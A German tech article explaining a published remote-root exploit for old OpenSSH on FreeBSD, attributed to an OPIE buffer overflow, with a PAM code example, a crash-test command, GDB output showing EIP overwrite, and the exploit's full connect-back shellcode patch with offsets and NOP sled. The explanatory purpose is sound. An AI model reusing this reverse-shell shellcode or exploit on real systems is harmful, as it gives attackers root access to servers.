OpenSSH ist die freie Implementierung des SSH-Protokolls, das in seiner kommerziellen Version von SSH Communications Security als SSH Tectia vertrieben wird. Vor einer Woche wurde ein Remote-Root-Exploit für eine veraltete OpenSSH/FreeBSD-Version veröffentlicht.
Aufgrund der Brisanz von SSH-Root-Exploits wurde die Schwachstelle von praktisch allen Security-Websites gemeldet. Wahrscheinlich gibt es noch einige Systeme, die die fehlerhafte Version verwenden.
Seit vielen Jahren ist das Secure-Shell-Protokoll der Standard für verschlüsselte Netzwerkverbindungen, und auf vielen Systemen verwendet SSH heute Pluggable Authentication Modules (PAM) als Programmierschnittstelle zu verschiedenen Authentifizierungsdiensten.
Folgendes Beispielprogramm demonstriert das PAM-API beim Authentifizieren eines Benutzers:
#include <stdio.h>
#include <security/pam_appl.h>
#include <security/pam_misc.h>
static struct pam_conv conv = { misc_conv, NULL
};
int main(int argc, char *argv[])
{ pam_handle_t *pamh=NULL; int retval; if(argc != 2) { fprintf(stderr, "Usage: check_user [username]\n"); exit(1); } retval = pam_start("check_user", argv[1], &conv, &pamh); if (retval == PAM_SUCCESS) retval = pam_authenticate(pamh, 0); if (retval == PAM_SUCCESS) retval = pam_acct_mgmt(pamh, 0); if (retval == PAM_SUCCESS) { fprintf(stdout, "valid\n"); } else { fprintf(stdout, "invalid\n"); } if (pam_end(pamh,retval) != PAM_SUCCESS) { pamh = NULL; fprintf(stderr, "error\n"); exit(1); } return ( retval == PAM_SUCCESS ? 0:1 );
}
Nach dem Übersetzen mit “gcc -o pam pam.c -lpam -lpam_misc” lässt sich dieses Programm einfach mit dem Benutzernamen als Kommandozeilenargument aufgerufen. “misc_conv” sorgt dafür, dass ein Password-Prompt erscheint. Je nachdem, ob der Account gültig ist oder nicht, wird dann eine entsprechende Nachricht ausgegeben. PAM macht es also sehr einfach, verschiedene Authentifikatiosmethoden in ein Programm zu integrieren, ohne dabei mit dem eigentlichen Mechanismus in Kontakt zu treten.
Da SSH auf vielen Systemen zum Einsatz kommt, ist es wichtig, gefährliche Programmierfehler darin zu vermeiden. Besonders Remote-Root-Exploits sind hier kritisch, weil sie direkten Zugriff auf den kompletten Host geben. Für eine solche unbekannte Sicherheitslücke wurde nun ein Exploit für OpenSSH 3.4p1 und 3.5p1 für FreeBSD veröffentlicht. Entdeckt wurde der Fehler durch einfaches Experimentieren, so dass die Originalmeldung nicht klärt, ob die Schwachstelle in OpenSSH selbst liegt oder aber im FreeBSD-spezifischen PAM-System zu finden ist.
Eine Diskussion auf der Full-Disclosure-Mailingliste kommt zu dem Schluss, dass es sich offenbar nicht um einen Fehler in OpenSSH selbst handelt. Vielmehr soll der SSH-Exploit auf das Konto eines älteren Buffer Overflow in der OPIE-Bibliothek gehen (CVE-2010-1938), da er nicht mehr funktioniert sobald “pam_opie.so” deaktiviert ist. Dieser OPIE-Fehler stand ursprünglich nur im Verdacht, im Zusammenspiel mit Ftpd ausnutzbar zu sein, allerdings scheint der aktuelle SSH-Exploit zu zeigen, dass auch SSH ein mögliches Angriffsziel ist.
Laut Security Focus sind damit auch alte Linux-Systeme anfällig für dieses Problem.
Der auf Full Disclosure diskutierte OPIE-Overflow befindet sich in der Funktion ” __opiereadrec()” und tritt auf, wenn der Benutzername länger als “OPIE_PRINCIPAL_MAX” ist. Die alte und fehlerhafte Version dieser Funktion verwendet “strcpy()” zum Kopieren von Strings, und wurde in einem Patch für FreeBSD vor einem Jahr durch “strlcpy()” ersetzt. Auch wenn aktuell nicht zu hundert Prozent bestätigt ist, dass die Sicherheitslücke hierdurch hervorgerufen wird, so dürften die meisten im Betrieb befindlichen Systeme ohnehin nicht davon betroffen sein, da die anfällige Software in jedem Fall recht veraltet ist.
Der derzeit im Umlauf befindliche SSH-Exploit funktioniert ebenfalls nur auf älteren FreeBSD-Systemen, und der Exploit-Autor hat die Schwachstelle durch folgendes Standard-Experiment entdeckt:
ssh -l`perl -e 'print "A" x 100'` 192.168.1.123
Hier wird via Perl einfach ein langer Benutzername, bestehend aus 100 A-Zeichen (ASCII-Code 0x41=65) eingesetzt, was zum Absturz des SSH-Dienstes führt. Um zu sehen, ob sich daraus ein brauchbarer Exploit basteln lässt, ist es hilfreich GNU-Debugger GDB auf das erzeugte Core-Dump-File anzusetzen:
# gdb -c /sshd.core GNU gdb 4.18 (FreeBSD) Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd". Core was generated by `sshd'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) x/10i $eip 0x41414141: Cannot access memory at address 0x41414141.
Hier wird mit “x/10i $eip” gezielt das EIP-Register inspiziert, denn für eine erfolgreiche Buffer-Overflow-Attacke ist es wichtig, dass der Programmverlauf selbst durch den Überlauf verändert werden kann. Bekannterweise arbeiten Computer Instruktionen nacheinander basierend auf dem Extended Instruction Pointer (EIP) Register ab, das heißt, die Speicheradresse des nächsten Befehls steht in diesem Register. So setzen Sprungbefehle diesen Wert beispielsweise einfach auf das gewünschte Sprungziel.
Wie der obige GDB-Auszug zeigt, enthält das EIP Register die Adresse 0x41414141, was genau dem ASCII-Code des Zeichen A im langen Benutzernamens entspricht. Es
ist also in diesem Fall möglich, durch einen Overflow beim Verarbeiten des Benutzernamens das EIP-Register und damit die Programmausführung zu verändern. Mit einem passenden Shellcode im Benutzernamen ist es so möglich, den SSH-Server dazu zu bringen, eine Root-Shell für den Angreifer zu öffnen, womit dieser vollen Zugriff auf die Maschine erlangt.
Der Exploit wurde als Patch für den Client selbst veröffentlicht:
> // Connect Back Shellcode > > #define IPADDR "\xc0\xa8\x20\x80" > #define PORT "\x27\x10" /* htons(10000) */ > > char sc[] = > "\x90\x90" > "\x90\x90" > "\x31\xc9" // xor ecx, ecx > "\xf7\xe1" // mul ecx > "\x51" // push ecx > "\x41" // inc ecx > "\x51" // push ecx > "\x41" // inc ecx > "\x51" // push ecx > "\x51" // push ecx > "\xb0\x61" // mov al, 97 > "\xcd\x80" // int 80h > "\x89\xc3" // mov ebx, eax > "\x68"IPADDR // push dword 0101017fh > "\x66\x68"PORT // push word 4135 > "\x66\x51" // push cx > "\x89\xe6" // mov esi, esp > "\xb2\x10" // mov dl, 16 > "\x52" // push edx > "\x56" // push esi > "\x50" // push eax > "\x50" // push eax > "\xb0\x62" // mov al, 98 > "\xcd\x80" // int 80h > "\x41" // inc ecx > "\xb0\x5a" // mov al, 90 > "\x49" // dec ecx > "\x51" // push ecx > "\x53" // push ebx > "\x53" // push ebx > "\xcd\x80" // int 80h > "\x41" // inc ecx > "\xe2\xf5" // loop -10 > "\x51" // push ecx > "\x68\x2f\x2f\x73\x68" // push dword 68732f2fh > "\x68\x2f\x62\x69\x6e" // push dword 6e69622fh > "\x89\xe3" // mov ebx, esp > "\x51" // push ecx > "\x54" // push esp > "\x53" // push ebx > "\x53" // push ebx > "\xb0\xc4\x34\xff" > "\xcd\x80"; // int 80h > 679a730,737 > char buffer[8096]; > > // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1 > memcpy(buffer, "AAAA\x58\xd8\x07\x08""CCCCDDDDEEEE\xd8\xd8\x07\x08""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO", 24); > memset(buffer+24, '\x90', 5000); > memcpy(buffer+24+5000, sc, sizeof(sc)); > server_user=buffer;
Damit kann sich der entfernte Angreifer kinderleicht eine Root-Shell auf fehlerhaften Servern besorgen. Der Shell-Code besteht lediglich aus ein paar simplen Assembler-Anweisungen, die Systemcalls aufrufen. Die Interrupt-Nummer für Systemcall-Aufrufe auf Linux- und FreeBSD-Systemen ist “0x80”, weshalb im obigen Code “int 80h” mehrmals auftritt.
Exkurs: Assembler
Zahlreiche Teile von Kernel und Gerätetreibern sind aus Performance-Gründen in Assembler geschrieben. Nasm ist der Standard-Assembler unter Linux, und mit ihm läßt sich ein einfaches “Hello World”-Beispiel schreiben:
section .text global _start _start: mov edx,len ;message length mov ecx,msg ;message to write mov ebx,1 ;file descriptor (stdout) mov eax,4 ;system call number (write) int 0x80 ;call kernel mov eax,1 ;system call number (exit) int 0x80 ;call kernel section .data msg db 'Hello, world!',0xa len equ $ - msg
Die Sektion “.text” enthält den eigentlichen Code, und “.data” konstante Daten. In “.text” werden zwei Systemcalls aufgerufen: Nummer 4 (Schreiben) und Nummer 1 (Exit). Vor Auslösen des Interrupts schreibt der Code diese Nummer via “mov” in das EAX-Register. Um daraus ein ausführbares Programm zu machen muss man auf einem 64-Bit-System einfach “nasm -f elf64 hello_world.asm” und anschließend “ld -o hello_world hello_world.o” aufrufen.

